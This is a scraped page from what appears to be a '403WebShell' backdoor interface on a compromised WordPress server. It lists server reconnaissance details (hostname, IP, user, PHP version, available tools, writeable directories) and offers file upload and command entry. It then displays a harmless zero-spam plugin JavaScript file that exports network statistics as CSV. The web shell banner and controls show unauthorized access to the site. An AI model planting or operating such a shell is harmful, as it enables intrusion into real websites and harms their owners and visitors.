Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/zero-spam/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/zero-spam/assets/js/network-stats.js
/**
 * Network Statistics Page JavaScript
 */

(function ($) {
	'use strict';

	$(document).ready(function () {
		// Period change
		$('#period-select').on('change', function () {
			const period = $(this).val();
			window.location.href = window.location.pathname + '?page=wordpress-zero-spam-network-stats&period=' + period;
		});

		// Export CSV
		$('.export-stats').on('click', function (e) {
			e.preventDefault();

			const period = $('#period-select').val();

			$.ajax({
				url: zerospamNetworkStats.ajaxUrl,
				type: 'POST',
				data: {
					action: 'zerospam_export_network_stats',
					nonce: zerospamNetworkStats.nonce,
					period: period,
				},
				success: function (response) {
					if (response.success && response.data.csv) {
						// Convert to CSV string
						let csvContent = '';
						response.data.csv.forEach(function (row) {
							csvContent += row.map(val => `"${val}"`).join(',') + '\n';
						});

						// Download
						const blob = new Blob([csvContent], { type: 'text/csv' });
						const url = window.URL.createObjectURL(blob);
						const a = document.createElement('a');
						a.href = url;
						a.download = response.data.filename;
						document.body.appendChild(a);
						a.click();
						document.body.removeChild(a);
						window.URL.revokeObjectURL(url);
					} else {
						alert('Failed to export data');
					}
				},
				error: function () {
					alert('Failed to export data');
				},
			});
		});
	});
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit